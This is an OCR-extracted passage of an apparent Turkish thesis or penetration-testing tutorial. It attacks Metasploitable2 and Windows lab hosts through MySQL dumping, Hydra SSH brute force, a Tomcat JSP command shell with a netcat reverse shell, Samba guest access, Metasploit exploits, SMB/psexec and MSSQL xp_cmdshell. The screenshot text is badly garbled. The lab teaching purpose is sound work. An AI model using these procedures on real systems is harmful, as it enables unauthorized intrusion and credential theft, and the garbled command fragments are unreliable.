Sekil 3.49. Mysql servisine baglant1 saglanmasi.

Sekil 3.49.°da Mysql servisine basariyla baglanti saglanmistir. Bu islemden sonra yapilacak

islemler veri tabanlarini goriintiileyerek bazi 6zel bilgilere veri tabani tablolar1 iizerinden

ulagsmaya ¢alismak olacaktir.
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Sekil 3.50. Mysq]l servisi veri tabanlart.
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Sekil 3.52. Users_Users tablo verileri.
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Sekil 3.50., 3.51. ve 3.52.”de Mysq]l servisi lizerindeki veri tabanlar1 goriintiilenmis tikiwiki veri
tabani igerisindeki users users tablosu segilerek igerisindeki verilere erisim saglanmustir.
Goriildugi gibi tablo icerisindeki verilerde saldirgan igin faydali bilgiler mevcuttur. Bu
bilgilerin tamami veri tabanindan g¢ekilmek yerine, Sekil 3.53.’deki gibi sadece ilgili verilerin

¢ekilmesi “select” komutu ile miimkiindir.

Sekil 3.53. Users_users tablosundan belirli verilerin ¢ekilmesi.

Mysql erisimi saglandiktan sonra ilgili veri tabanlarin daha sonra yapilacak islemlerde
incelenmek amaciyla backuplarinin alinmasi miimkiindiir. Bu islem “mysqldump” komutu ile
saglanmaktadir. Sekil 3.54.’de backuplarin alinmasi komutu, Sekil 3.55.’de ise veritabani

backup dosyasi gosterilmektedir.

Sekil 3.54. Veri tabanlarinin backuplarinin alinmasi1 komutu.

srash aglite B2A8 6 Mal

; Temploles O e 11 e
0 NI ot e b i B3N bytes 104
Bl video: 0 prin 1 A

Sekil 3.55. MySQL veri tabani backup dosyasi.

SSH konfigtirasyon zafiveti ile hedef sisteme erisme

SSH, “Secure Shell” in kisaltilmis halidir. Bu bolimde SSH servisi iizerine yapilabilecek

potansiyel saldirt iglemleri uygulanmistir. SSH servisi varsayilan olarak 22 numarali port
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lizerinde ¢alisan uzaktan sistem yonetimlerini saglamak amaciyla kullanilan tcp bazli bir
servistir. SSH servisi varsayilan olarak Linux isletim sistemleri iizerinde kullanilsa da ekstra
birka¢ kurulum ile bu servisi Microsoft isletim sistemleri tizerinde kullanmak ta miimkiindiir.
SSH Servisi tizerinde kullanilabilecek ¢ok sayida saldir1 vektorii mevcut degildir. SSH {izerine

yapilan saldirilardan en bilineni gegerli bir giris bilgisi bulmayr hedefleyen kaba kuvvet

saldirilaridir.
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Sekil 3.56. SSH iizerinde kaba kuvvet saldirilari.

Sekil 3.56.’da Metasploitable2 cihazinda ssh iizerinden bir kaba kuvvet saldirisi diizenlenerek

baglanti1 saglanmistir. Baglantinin dogrulugu “ifconfig” komutu ile test edilebilmektedir.

root Ealandrold - e 0

Sa0rtn Tadrmumne g

Sekil 3.57. Metasploitable2 cihazinda elde edilen oturum.
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Sekil 3.57.’de ifconfig komutu ile Metasploitable2 cihaziyla bir baglanti kurularak oturum elde
edildigi goriilmektedir. SSH servisi lizerine Hydra araci ile de kaba kuvvet saldirisi
diizenlenebilmektedir. Hydra ile kaba kuvvet saldiris1 diizenlenirken hedef sistem iizerindeki
herhangi bir kullanicinin varligindan emin olmak ve parolayr kirmak ig¢in bir wordlist

olusturmak gereklidir. Hydra ile kaba kuvvet saldirist komutu Sekil 3.58.’deki gibidir.
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Sekil 3.58. Hydra ile SSH iizerine kaba kuvvet saldirisi.

Burada kaba kuvvet saldiris1 sonucunda gegerli bir kullanici ad1 ve parola elde edilmistir. Elde
edilen kullanic1 ve parola kullamilarak ssh araciligiyla ilgili sistemlere uzaktan baglanti

gerceklestirilebilmektedir.

Telnet konfigtirasyon zafiveti ile hedef cihazi ele gecirme

Bu boliimde telnet servisi lizerine yapilabilecek potansiyel saldirt islemleri gergeklestirilmistir.
Sekil 3.59.’da goriildigii gibi telnet servisi 23 numarali port iizerinde ¢alisan ssh gibi uzaktan
sistem yonetimlerini saglamak amaciyla kullanilan tcp bazli bir servistir. Telnet servisi ssh
servisiyle kiyaslandiginda daha az giivenli bir servis oldugundan kullanim asamasindan ssh
servisine gore daha az tercih edilmektedir. Telnet servisi daha ¢ok switch, router gibi cihazlarin
uzaktan erisiminde ve scada sistemlerde kullanilmaktadir. Telnet servisi iizerinde
gerceklestirilen saldirilar genel olarak giris i¢in kullanici ve parola bilgisi elde etmek amaciyla
gerceklestirilen kaba kuvvet saldirilaridir. Fakat ftp ve ssh servislerine kiyasla saldirinin basarilt
olmasindaki en biiyilik etkenlerden biri switch, router gibi cihazlarin ve scada sistemlerinin gifre

ve parolalarinin varsayilan olarak (admin, admin), (admin, password) birakilmasidir.
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Sekil 3.59. Telnet kullanimu.

Tomcat zafiveti ile hedef sistem iizerinde komut yiirtitme

Bu boliimde Sekil 3.60.’da ara yiizii gosterilen Tomcat servisi lizerine yapilacak potansiyel
saldir1 iglemleri gerceklestirilmistir. Tomcat servisi varsayilan olarak 8080 veya 8180 numarali
port iizerinde ¢aligan tcp bazli bir servistir. Tomcat servisi jsp uzantili uygulamalar gelistirmek
amaciyla apache’ nin bir alt uzantis1 olarak tasarlanmig bir servistir. Tomcat servisinin ara

yiizline tarayici lizerinden erigmek miimkiindiir.
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Sekil 3.60. Tomcat servisi ara yiizii.

Tomcat lizerinde varsayilan olarak birakilan tomcat, tomcatmanager gibi parolalar mevcuttur.

Bu varsayilan degerde birakilan parolalar aracilifiyla gosterilen tomcat’in yonetici ara yliziine
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baglanilarak sistem {izerinde jsp uzantili dosyalar konulabilmektedir ve bu dosyalar araciligiyla
sistem iizerinde cesitli kod yiiriitme islemleri yapilabilmektedir. ilgili yonetim ara yiiziine

“/manager/html” uzantisiyla ulasmak miimkiindiir.
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Sekil 3.61. Tomcat yonetici ara ylize giris.

Sekil 3.61.’de tomcat yonetici ara yiizii araciligtyla varsayilan olarak birakilan kullanici adi ve
sifrelerle sisteme giris yapmak miimkiindiir. Varsayilan sifre ve kullanici bilgilerine Sekil
3.62.’de goriildiigii gibi metasploit altinda bulunan wordlist ’ten erigmek miimkiindiir.
Tomcat’in kullanici ve sifre bilgilerine wordlist olusturarak bir kaba kuvvet saldirist ile erismek
miimkiin degildir ¢linkii tomcat servisi igerisinde kaba kuvvet saldirilarin1 6nleyici fonksiyonlar
mevcuttur. Bu fonksiyonlar yaklasik 17, 18 denemeden sonra sistemi otomatik kitleyerek kaba
kuvvet saldirilarin1 6nlemektedir. Burada kullanici adi ve sifreleri denenerek tomcat ydnetici

sayfasina giris saglanmaktadir.
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Sekil 3.62. Tomcat iizerinde varsayilan olarak birakilan kullanici ve sifre bilgileri.
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Sekil 3.63. Tomcat yonetici sayfasi ara ylizii.

Sekil 3.63.’de goriilen WAR dosyasi kismina bir WAR dosyasi eklenerek deploy edildiginde
tomcat servisi bu dosyayi sistem lizerine ekleyerek uzaktan komut yiiritme islemlerini
gerceklestirilmistir. WAR dosyasi i¢in yazilmis jsp kodu ise Sekil 3.64. ve 3.65.’de goriildiigii
gibidir. Burada goriilen jsp kodu tomcat sistemi iizerine deploy edildikten sonra cmd

uzantisindan komut yiiriitme iglemleri gergeklestirilebilir.
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Sekil 3.64. Deploy edilen jsp kodu 1.

Sekil 3.65. Deploy edilen jsp kodu 2.
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Sekil 3.66. Cmd. jsp dosyast ile whoami komutunun yiiriitiilmesi.
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Sekil 3.66.da goriildiigii gibi bir netcat oturumu elde etmek miimkiindiir. Sekil 3.67.’de
bin/bash uygulamasi saldirgan cihaz Kali tizerine gonderilmistir. Sekil 3.68.’de tomcat iizerinde

bir sizma islemi gergeklestirilerek hedef sisteme ulasildigi goriilmiistiir.

Commands with ISP

W= fdevhiaen 192 160 92 18 T

Sekil 3.67. Kali iizerinde Netcat oturumu elde etmek.

Sekil 3.68. Tomcat saldirist sonucu hedef sisteme ulagma.

Samba konfigiirasyon zafiyeti ile hedef sisteme erisme

Bu boliimde samba servisi lizerine yapilabilecek potansiyel saldir1 islemleri gerceklestirilmistir.
Samba servisi varsayilan olarak 445 numarali port iizerinde ¢aligan, domain yapilar1 kurmak,
dosya paylasimlarini yonetmek ve sistem yonetimi yapmak amaciyla kullanilan tcp bazli bir
servistir. Samba servisi Linux sistemlerine kiyasla Microsoft sistemlerde daha yaygin olarak
kullanilmaktadir. Ftp servislerinde oldugu gibi samba servisinde de bir “anonymous login”
Ozelligi mevcuttur ve “guest login” olarak adlandirilmaktadir. Bu 6zelligin acik birakilmasi
durumunda kullanicilarin, paylasimlarin  ve sistemle ilgili ¢esitli bilgilerin tespiti
saglanabilmektedir. Samba servisi lizerine yazilmig birgok exploit mevcuttur ve bu exploit’ler
kullanilarak da sistemler {izerine baglanti ger¢eklestirilmektedir. Bu boliimde Linux sistemlerde

konfiglirasyon bazli hatalardan kaynaklanan samba servisi saldirilart uygulanmistir. Sistem
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lizerinde bir “guest login” birakilmasindan faydalanilarak Sekil 3.69.’da hedef sisteme erisim
saglanmigtir. “Enumdomusers” komutu ile domain iizerindeki kullanici bilgilerine, sistem

izerinde bazi bilgilere ve kullanici yetkilerine erismek miimkiindiir.
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Sekil 3.70. Hedef sisteme eriserek sistem bilgilerine erigme.

Penetrasyon testi sirasinda samba servisi iizerinde verilen kullanici ile maksimum oranda bilgi
cikarmaya yarayan enum4linux aract mevcuttur. Enum4linux aracina bir ip verildiginde rpc
istekleri iizerinden maksimum sayida bilgiyi ¢ikarmaktadir. Bu bilgiler domain ismi, nbtstat
bilgileri, sistem kullanici ve parola bilgileri, sistem iizerindeki paylasim noktalar1 (paylasilan
dizinler), dizin yetkileri gibi bir¢ok veriyi igermektedir. Sekil 3.70.’de hedef sisteme erisilerek
system bilgilerine ulasilmistir. Sekil 3.71.’de elde edilen dizinlere baglant1 saglayabilmek i¢in

“smbclient” araci kullanilmaktadir.
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Sekil 3.72. Smbclient araci ile tmp dizinine erisim elde etmek.

Sekil 3.72.°de “smbclient” araci ve “dir” komutu ile tmp dizini igerisinde bulunan dosyalara
erisim saglanmistir. Buradaki dosyalar arasinda backup, konfigiirasyon ya da kurum igerisinde
paylasildign fark edilmeyen fakat kritik olan dosyalar yer alabilmektedir. Bu dosyalar “get”

komutuyla sistemden ¢ekilebilmekte veya put komutu ile sisteme dosya koyulabilmektedir.

3.2.2. Linux zafiyetleri ve Metasploit

Bu bolimde Linux isletim sistemi zafiyetleri Metasploit aracit kullanilarak uygulamlarla

sOmiriilmiistiir. Bu kapsamda Domain Controller yapisi i¢in yapilandirma ayarlari, Metasploit
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ara yiizli olan msfconsole, exploit ve auxiliary modiilleri kullanimi ele alinmistir. Calismanin bu

asamasinda yapilan uygulamalar Sekil 3.73.’de goriildiigii gibi siniflandirilmustir.

AU/ Lious Kanbgirasyon Jafryetlea
ve Metawloit

Mattonsale

£ apholt Augilipry

LeploitDi
Sekil 3.73. Uygulamasi yapilan linux zafiyetleri ve metasploit.

Msfconsole

Metasploit framework sizma testi uzmanlar1 tarafindan neredeyse her pentestte kullanilan
icerisinde bir¢ok zafiyeti somiirmeye yarayan exploit, somiirme islemleri ardindan yapilabilecek
islemler adina tasarlanmig birgok post exploitations modiilii, bruteforce saldirilar1 yapmak ve
bilgi toplamak i¢in tasarlanmis birgok auxiliary modiil ayn1 zamanda exploit gelistirme islemleri
icin tasarlanmis bir¢ok shellcode, nopes ve encoder bulunan bir framework’tiir. Msfconsole

Metasploit framework’{in bir ara yiiziidiir ve Sekil 3.74.’de goriilmektedir.
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Sekil 3.74. Msfconsole.
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Lk konfigiirasyon

Metasploit framework’e erismeden 6nce metasploit framework’iin daha hizli ¢aligsabilmesi igin
yapilan birka¢ konfigiirasyon mevcuttur. Bu boliimde ilgili konfigiirasyon ayarlar ile ilgili
olarak metasploit framework veri tabanina baglanmistir. Bu islem i¢in dncelikle postgresql veri
tabani calistirilmistir. Bu sayede metasploit framework postgresql veri tabanina baglanilarak

daha hizli arama islemleri gerceklestirilmistir.

Sekil 3.75. Metasploit Framework’ii postgresql veri tabanina baglama.

Sekil 3.75.’deki very tabanina baglanma islemi gerceklestirildikten sonra “msfconsole” komutu

ile ilgili framework’iin ara yiiziine erisim yapilmasi saglanmistir.
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Sekil 3.76. Msfconsole 2.
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Sekil 3.76.’de msfconsole ara yiiziine giris yapilmistir. 1852 tane exploit, 1846 tane auxiliary ve
325 tane post modiilii mevcuttur. Bu modiillerin arama iglemi “search+servis versiyon bilgisi
veya ad1r” komutu ile gergeklestirilmektedir. Buradaki modiiller sonraki boliimlerde ayrintili

olarak kullanilmistir.

Msfconsole ile exploit kullanma ornegi

Bu boéliimde metasploit framework araci hedef sistem olan metasploitable2 linux cihazi tizerinde
kullanilmigtir. Daha ileri seviye senaryolarda, microsoft mimarilerinde ve domain yapilarinda
kullanimi da sunulmustur. Fakat bu senaryo dahilinde metasploitable2 cihazinin servislerinden
faydalanilmustir. Ilgili servislere daha 6nce gosterildigi gibi nmap taramast ile ulasilarak ftp, ssh,
tomcat, telnet ve samba gibi servisler {izerinden yapilabilecek potansiyel saldirilar
uygulamalarla gergeklestirilmistir. Bu boliimde ise servisler {izerinde yazilmis ve yayinlanmis

exploitler araciligiyla hedef sisteme sizma islemi gerceklestirilmistir.

Sekil 3.77. Versiyon bilgisi lizerinden exploit arama.
Sekil 3.77.°de “vsftpf 2.3.4” ftp servisi versiyon bilgisi iizerinden search komutu ile

“type:exploit” olarak belirtilmis ve exploit arama islemi gerceklestirilmistir. Sonug olarak http

ve ftp servisleri lizerine yazilmis ti¢ adet exploit modiilii donmiistiir.

1od J34 bhathkino

Sekil 3.78. Exploit kullanma iglemi.
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Sekil 3.78.’de elde edilen exploit’lerden ftp servisi iizerine yazilmis “vsftpd 234 bsckdoor”
exploit’i “use” komutu ile kullanilmigtir. Exploit ile ilgili detayli bilgiye erismek i¢in “info”
komutu kullanilmaktadir ve sonug olarak description kisminda zafiyetin kaynagini ve varsa

referanslarini géstermektedir.
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Sekil 3.79. Zafiyet tanim ve referans bilgileri.

Sekil 3.79.’da “info” komutu sonucunda zafiyetin detayli tanimi1 ve kaynaklar1 gosterilmektedir.
Goriildiigi gibi zafiyetin kaynag ile ilgili vstpd-2.3.4 versiyonu indirme linklerine backdoor
iceren bir dosya konulmus ve bu dosya indirildiginde indirilen sistemde backdoor
olusturulmustur yorumu yapilabilmektedir. Ayni1 zamanda exploit’in kullanilabilmesi i¢in

gerekli opsiyonlar da info komutu altinda goriilebilmektedir.
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Sekil 3.80. Exploitin ¢alismasi i¢in gerekli opsiyonlar.

Sekil 3.80.’deki bilgilere “options” komutu ile de direk ulagmak miimkiindiir. Exploit’in

13

caligmast icin gerekli opsiyon ayarlari olan RHOST ve RPORT “set” komutu ile
yapilandirilmigtir. RHOST bilgisi hedef cihazin ip adresi ve RPORT bilgisi hedef sistemde

calisan servisin port numarasi olarak ayarlanmistir.

Sekil 3.81. Opsiyonlarin ayarlanmasi.



127

Sekil 3.81.’deki opsiyon ayarlar1 gerceklestirildikten sonra “exploit” komutu ile Sekil 3.82.’de

gorildiigii gibi metasploitable2 cihazi {izerinde bir shell oturumu elde edilmistir.

ayerrung i frane:6

gverrun::8 carrier 8

5 KE

Sekil 3.82. Exploit ile metasploitable2 iizerinde oturum elde etmek.

Exploit DB

Exploit islemlerini direk metasploit framework araci iizerinden gergeklestirmek miimkiin
oldugu gibi internet iizerinden bazi servisler araciligi ile gergeklestirmek te miimkiindiir. Bu
servislerden en yaygin olarak kullanilan1 Kali’yi gelistiren ekip tarafindan olusturulmus ve
diinya capinda bir¢cok arastirmacinin yazdigr exploit’lerin paylasildigi bir veri tabani olan,
tarayici iizerinden ara yliziine erisilen Exploit DB’dir. Bu boliimde Exploit DB ile zafiyet tespit

etme iglemi gerceklestirilmistir.
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Sekil 3.83. Exploit DB ara yiizi.

Sekil 3.83.’de goriilen Exploit DB iizerinde metasploit framework araci igerisinde bulunan
exploit’lerden ¢ok daha fazla sayida exploit mevcuttur. Bu exploit’ler sizma, DOS ve bilgi
kagirma gibi birden fazla amag igin yazilmus exploit’lerdir. Ilgili versiyon bilgisi veya servis adi
gibi bilgiler kullanilarak Exploit DB veri tabani search kismindan exploit arama islemi

gerceklestirilmektedir.
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Sekil 3.84. Versiyon bilgisi ile exploit arama iglemi.

Sekil 3.84.’de goriilen arama igslemi sonunda donen sonuca tiklandiginda Sekil 3.85.’deki gibi

exploit ile ilgili detayl bilgilere ulagmak miimkiindiir.
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Sekil 3.85. Exploit hakkinda detayli bilgiler.
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Exploit DB iizerinden yapilan exploit arama islemini terminal {izerinden ger¢eklestirmek

amaciyla yazilan searchsploit yazilimi da mevcuttur. Searchsploit ile exploit-db tizerinde

bulunan bir exploit cihaz iizerine alinabilmekte ve arama islemi yapilabilmektedir. Sekil

3.86.’da searchsploit yazilimi gosterilmektedir.

Sekil 3.86. Searchsploit yazilima.

Sekil 3.87.’de goriildiigii gibi “searchsploit” yazilimi ile yapilan arama sonucu bulunan exploit,

exploit numara bilgisi de kullanilarak cihaz tizerine indirilebilmektedir.
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Sekil 3.87. Exploit yiikleme islemi.

Metasploit Framework {izerinde bulunmayan bireysel exploit’lerin arama islemini Exploit DB

tizerinden yapmak daha faydali bir yontemdir.

Msfconsole iizerinde exploit kullanimi ve oturum yonetimi ornegi

Bu bdliimde metasploit framework cihazi ile hedef sistem olan Metasploitable2 cihazinin samba
servisi gilivenlik agig1 somiriilmistir ve elde edilen oturumun yoénetimi uygulamalarla
gosterilmistir. Metasploit Framework iizerinde “search” komutu her zaman bagarili bir sekilde
sonu¢ dondiirmeyebilir. Bu durumda Metasploit Framework lizerinden exploit arama islemine
alternatif bir islem olarak metasploit’i tasarlayan firma Rapid7 iizerinden arama islemi
gerceklestirilebilmektedir. Sekil 3.88.’de Rapid7 {iizerindeki arama sonucu donen modiil

bilgilerine yer verilmistir.

References

Moduie Options

Sekil 3.88. Rapid7 arama sonucu dénen modiil bilgileri.
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Sekil 3.89. Exploit ile samba servisi lizerinde oturum elde etmek.

Sekil 3.89.’da yapilan islemlerle hedef sistem metasploitable2 {izerinde iki adet shell (oturum)
elde edilmistir. Bu oturumlar “sessions” komutu ile goriintiilenebilir ve “sessions —I”” komutu ile
istenilen oturuma ge¢is saglanabilmektedir. Oturum yonetimi islemleri ise Sekil 3.90.’da

gosterildigi gibi gerceklestirilmistir.
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Sekil 3.90. Oturum yonetimi iglemleri.

Msfconsole ile auxiliary kullanimi

Bu bolimde metasploit framework araci iizerindeki auxiliary kullanimi ile metasploitable2

tomcat servisi iizerine bir brute force (kaba kuvvet) saldiris1 gerceklestirilmistir. Brute force
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(kaba kuvvet) saldirist sonucu elde edilen giris bilgisi ile metasploit lizerinden bir oturum elde

edilmistir.
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Sekil 3.91. Auxiliary modiilii ve opsiyonlari.

Sekil 3.91.’de kullanilan auxiliary modiil opsiyonlar1 genel olarak brute force (kaba kuvvet)
saldirilarinda gerekli olan kullanici adi, kullanict adi listesi, parola dosyasi, RHOST ve RPORT
gibi bilgilerdir. Burada PASS FILE degeri metasploit cihazi igerisinde wordlists dosyasi1 altinda
hazir olarak bulunan tomcat mgr default pass.txt olarak belirlenmistir. RPORT degeri tomcat
servisinin calistigi tcp portu olan 8080 ve RHOST degeri hedef sistem olan Metasploitable2
cihazinin IP adresi olacak sekilde belirlenmistir. Gerekli olan opsiyon ayarlar1 yapildiktan sonra

“run” komutu ile kaba kuvvet saldirisi baslatilmistir.

Sekil 3.92. Auxiliary ile giris bilgisi elde etmek.
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Sekil 3.92.’de auxiliary modiilii araciligiyla metasploitable2 tomcat servisi iizerine bir brute
force (kaba kuvvet) saldiris1 diizenlenmis ve bir¢ok deneme sonucunda kullanict adi ve sifre
olarak “tomcat, tomcat” giris bilgisi elde edilmistir. Elde edilen giris bilgileri kullanilarak hedef

sistem tlizerine bir jsp dosyasi yiikklemek amaciyla exploit modiilii kullanilmustir.

Sekil 3.93. Tomcat exploit modiilleri.

Sekil 3.93.’de “search” komutuyla “type:exploit” olarak belirlenerek arama islemi yapilmustir.
Arama sonucu elde edilen exploit modiilleri arasindan “exploit/multi/http/tomcat mgr deploy”
modiilii kullanilmistir ve gerekli opsiyon ayarlar1 yapilmistir. Hedef sisteme bir jsp dosyasi
yiiklemek igin ilgili exploit’in hedef sistem {izerinde nasil bir baglanti saglayacagini belirlemek

amaciyla Sekil 3.94.”de gosterildigi gibi payload ayarlarinin yapilmasi gereklidir.
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Sekil 3.94. Payload ayarlarinin yapilmasi.

Gerekli tim opsiyon ayarlari gerceklestirildikten sonra run komutu ile hedef sistem

metasploitable2 tomcat servisi lizerinde reverse tcp bir shell oturumu elde edilmistir.

3.2.3. Microsoft iizerinde konfigiirasyon bazh zafiyetler

Microsoft isletim sistemleri yapilandirilirken eksik veya hatali yapilan islemler birtakim

giivenlik acikliklarina neden olmaktadir. Bu bdliimde Microsoft {izerinde konfigiirasyon
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hatalarindan kaynaklanan zafiyetler incelenerek Sekil 3.95.°de goriilen basliklar altinda

uygulamalarla somiiriilmiistiir.

Microsoft Crarinde Lanfigiasyon
Sark Zafiyetier

SMB, SME Sign

pessal

Sekil 3.95. Microsoft lizerinde uygulamasi yapilan konfigiirasyon bazli zafiyetler.

SMB (Service Message Block) zafiyetinin sémiiriilmesi

Microsoft isletim sistemlerinde yeterli yetkiye sahip bir kullanicinin bulunmasi durumunda smb

servisi lizerinden ters bir baglanti elde edilebilmektedir. Bu boliimde varsayilan olarak 445

numarali port iizerinde calisan tcp bazli bir servis olan microsoft-ds servisi iizerinden ters

baglant1 alma islemi gerceklestirilmistir. Ilgili islem i¢in kullanilacak saldir1 ydntemi brute force

(kaba kuvvet) saldirisidir. Daha ilerleyen senaryolarda farkli saldir1 yontemleriyle de microsoft-

ds servisi lizerinden ters baglanti alma islemi gerceklestirilmistir. Yapilacak brute force (kaba

kuvvet) saldirist igin ¢esitli yazilimlar mevcut oldugu gibi metasploit iizerinde de bir auxiliary

modiilii mevcuttur.
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Sekil 3.96. 445 Numarali porta bagli microsoft-ds servisi.
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Sekil 3.96.’da hedef makine olan Windows Server 2012 isletim sistemi iizerindeki acik portlar
goriilmektedir. Microsoft-ds servisinin 445 numarali portunun agik olmasi bu servis iizerine bir

saldir1 gergeklestirilebilecegi anlamina gelmektedir.

Sekil 3.97. Brute force saldirisi i¢in kullanilan auxiliary modiilii ve opsiyonlari.

Sekil 3.97.°de goriildigii gibi microsoft-ds servisini somiirecek modul olan “smb login”
modiiliiniin calismast icin RHOSTS, SMBUSER, passfile, STOP_ON_SUCCESS, SMBDomain

gibi opsiyon bilgilerinin belirtilmesi gereklidir.

oI suxiliary(scanne | | ) > skl RHOSTS 10.0.0.8
» 1b. 4. H.H
Nars auxiliaryl | It ) » 401 SMBUSER Adsinistratol
SHUUSER => Administrator

sl nuxilinryl | » ant pass file Jroot/Desktop/word. List

FLle =» -'ltmlrl,lp- b!n[n'ulnvl‘ Lis
nsfs auxiliaryl nh ) » sof 5T0P ON SUCCESS true
TOP ON SUCCESS =» truye
nsfS auxtUiary( f ho| ) = 3ot SHBDomsin pantest con
SHBDORELN => pentest.con

Sekil 3.98. Auxiliary opsiyon ayarlari.

Sekil 3.98.’de “smb_login” auxiliary modiiliiniin opsiyon ayarlar1 gerceklestirildikten sonra run

komutuyla auxiliary modiilii ¢aligtirilarak bir giris bilgisi elde edilmistir.
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Sekil 3.99. Giris bilgisi elde etme.

Sekil 3.99.”da kullanic1 adi Administrator parola ise Password olarak elde edilmistir. Elde edilen
kullanici bilgileri ile smb servisi {izerinden bir ters baglanti elde etme islemi gergeklestirilmistir.
Bu islem i¢in Microsoft igletim sistemlerinde uzaktan yonetim yapma amaciyla olusturulmus

psexec ve winexe yazilimlari mevcuttur.
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Sekil 3.100. Winexe kullanimi ile hedef sistemde komut satir1 elde etmek.

Sekil 3.100.’da elde edilen kullanict ad1 ve parola giris bilgileri kullanilarak winexe yazilimi ile
hedef sistemde bir komut satir1 elde edilmistir. Metasploit framework {izerinde psexec yazilimi

kullanilarak da hedef sistem iizerine smb servisi ilizerinden bir dosya yiiklemek veya servis

baslatmak miimkiindiir.
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Sekil 3.101. Metasploit lizerinde psexec kullanimi.

Sekil 3.101.’de goriilen psexec exploit modiilii kullanilarak hedef sistem iizerinde bir somiirii
islemi gergeklestirilmistir. Exploit modiilii i¢in gecerli opsiyon ayarlar1 yapildiktan sonra hedef
sistem tizerinde elde edilen bir powershell komutu ile hedef sistem ile saldirgan cihaz arasinda

bir reverse shell (ters baglanti) oturum saglanmistir.

SMB Sign ozelligi kontrolii

Bu boliimde pentestler sirasinda sikga karsilasilan bir konfigiirasyon hatasindan kaynaklanan
smb sign konfigiirasyon zafiyeti sunulmustur. ilgili konfigiirasyon hatasr ilerleyen senaryolarda
NTLM Relay saldirilarinda da kullanilmistir. Smb sign konfigiirasyon hatas1 mesaj bloklarinda
gonderilen bir imza Ozelliginin kapatilmasindan kaynaklanmaktadir. Bu ozellik sistemler
iizerinde varsayilan olarak kapali gelmektedir ve bunun sonucunda kullanici hash bilgileri
yonlendirilerek  hedef sistem iizerinde c¢esiti man in the middle saldirilar
gergeklestirilebilmektedir. Bu islemi gerceklestirebilmek i¢cin RunFinger.py araci kullanilmustir.
Bu ara¢ sayesinde herhangi bir IP veya subnet adresi iizerindeki tiim smb sign 6zellikleri

kontrol edilebilmektedir.

PRt bapd 1l /e st L S 0 e Jt e ) IR 1T
Beirieaing 1nformytamm for AN 180 M )
N lewiog 18P0t ven N0 I 188 . 80100
Seivieving Isfemetsee b IN 1800
L BERT IR RN
Seveny Tiom: AL IF
A AL sl 1 0
LAt CLAML L Windanid JO08 LAN Metaded
MECELNE Py traew Lo L) S8
TRAS AR I A'Y 7 The U aain

PN N ‘el

e Ties MV AT 10T

B eeralem oy 7 bem Beals Nad Sarvime Py )
wAnma Chawn Slhns T S BasiE A

Manire Myt iR ATREm O

TR ihans L e o7 19 U Beaais

Sirienieog irfaastaee for LML 1M M 1

N i T e

Serent Tiow: Nibw. % v 20w

AL Dy WS 2002 A2 MITas IR e
R T Wisdms Sgrame "HIF B Satatantes & Y

Sekil 3.102. RunFinger.py aracinin kullanilmast.
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Sekil 3.102.’de goriildiigii gibi RunFinger.py Araci ile cihazlarin iizerindeki tiim smb sign
ozelliklerinin kapali oldugu tespit edilmistir. Bu durum bu cihazlar iizerinde man in the middle

veya hash Relay saldirilarinin gergeklestirilebilecegi anlamina gelmektedir.

MSSOL konfigiirasyon zafiyveti ile hedef sisteme erisme

Bu bolimde MSSQL iizerine yapilabilecek potansiyel saldiri islemleri gerceklestirilmistir.
MSSQL servisi varsayilan olarak 1433 numarali port lizerinde ¢aligsan veri tabanlar1 olusturmak
ve kullanmak amaciyla kullanilan tcp bazli bir servistir. MSSQL servisinin MySQL’den farki
MSSQL’in ¢alistign cihaz {izerinde MSSQL araciligiyla komut yiiriitebilmenin miimkiin
olmasidir. MySQL servisi tizerindeki root kullanicist gibi MSSQL servisi lizerinde de sa isimli
bir kullanici mevcuttur. MSSQL servisi iizerinde komut yiiriitebilmek icin MSSQL tizerinde
gecerli bir kullanici bilgisine ihtiya¢ duyulmaktadir. Bu kullanici giris bilgilerini elde etmek igin
MSSQL servisi {izerine bir Brute Force (Kaba Kuvvet) saldirisi diizenlenmistir. Bu saldiri i¢in
metasploit lizerinde bulunan Sekil 3.103.’de goriilen auxiliary modiili kullanilmistir. Burada
gerekli olan USERNAME, RHOSTS, RPORT, PASS FILE ve STOP_ON_SUCCESS opsiyon
bilgileri sekil 3.104.’deki gibi ayarlanmistir ve opsiyon ayarlar1 gerceklestirildikten sonra run

komutu ile auxiliary komutu ¢alistirilmistir, kaba kuvvet saldirisi baglatilmistir.

Sekil 3.103. Ilgili auxiliary modiilii ve opsiyonlari.
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st auxilinryi « sot RHO!
KPol
at LSERNANE

CFELE => Jioot/Desktops/wol diist

puxiliaryiecannar/ nesy sl Lvgin) > set STOP 0N SOCCESS Lrum
CZON_SUCCESS => true
Bauciliarylsenhpar/assglinssgl Logl |>'

STA

ncorrect

(Incorruc

Sekil 3.105. Giris bilgisi elde edilmesi.
Sekil 3.105.’de MSSQL servisi lizerine auxiliary ile yapilan kaba kuvvet sonucunda “sa”
kullanict adi ve “Password123” sifre bilgisi elde edilmistir. Bu giris bilgileriyle birlikte
Microsoft MSSQL servisinin kendi fonksiyonu olan xp_cmdshell araci ile sql server manager
araciligiyla direk mssql servisinin bulundugu cihaz iizerinde ya da iigiincli parti araglar ile
uzaktan komut yiiritme islemi gerceklestirilmistir. Metasploit tizerinde xp cmdshell aracini

kullanmak i¢in Sekil 3.106.’da goriilen auxiliary modiilii mevcuttur.

Aliary/adnin/
Current &

(8,1 B exe echo OWNED = C2\owned.exe

PASSNORD
R 3
RPOR

TDSENCRYPTION

USERNANE

USE WINDOMS AUTHENT false Use windoks

NafS suxiliary(

Sekil 3.106. Auxiliary modiilii ve opsiyonlart.
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Burada gosterilen RHOST, RPORT, USERNAME, PASSWORD, CMD opsiyon bilgileri
gereklidir. Gerekli opsiyon ayarlamalar1 Sekil 3.107.’de goriildiigii gibidir, opsiyon ayarlar1

gergeklestirildikten sonra auxiliary modiilii “run” komutu ile ¢alistirtlmstir.

tliaryl | L Y » st RHOSTS 10.0.0.6

IS => 10.0.0.06
nsif> auxl Liar Yis ! \ \ . 501 Pv\".‘-Nll."l' Passwordl2s
PASSNORD => Passwordlzs
nsfa auxiiiary 4 ! ge) > sl USERNAME sa
USERNAHI
nyf: auxiliary ' ! ec) = set RPORYT 1433
RPORT = 14353

rS suxiliaryl 1T : ) » set (MDD ipconfig
=> Lpcontig

S5 asuxtlitaryl

Sekil 3.107. Auxiliary opsiyon ayarlart.

g nodule agalnst 10 0. 0.6

S0L Query: EXEC masters xp cadshell wpconfia

autpul

Etherner adapter Ethernetd

n-specitic DHS Surr:
Puty Address fef 042b:118b: 0627 cUl12%]

WLL Gateway D.0.0_1

funnel adapter lsatap. {4C24I8ET7-53CC-4DF4-AD28-05AD974808986)3

Medlias State MHedia discommected
Connoction-spociftic DNS S

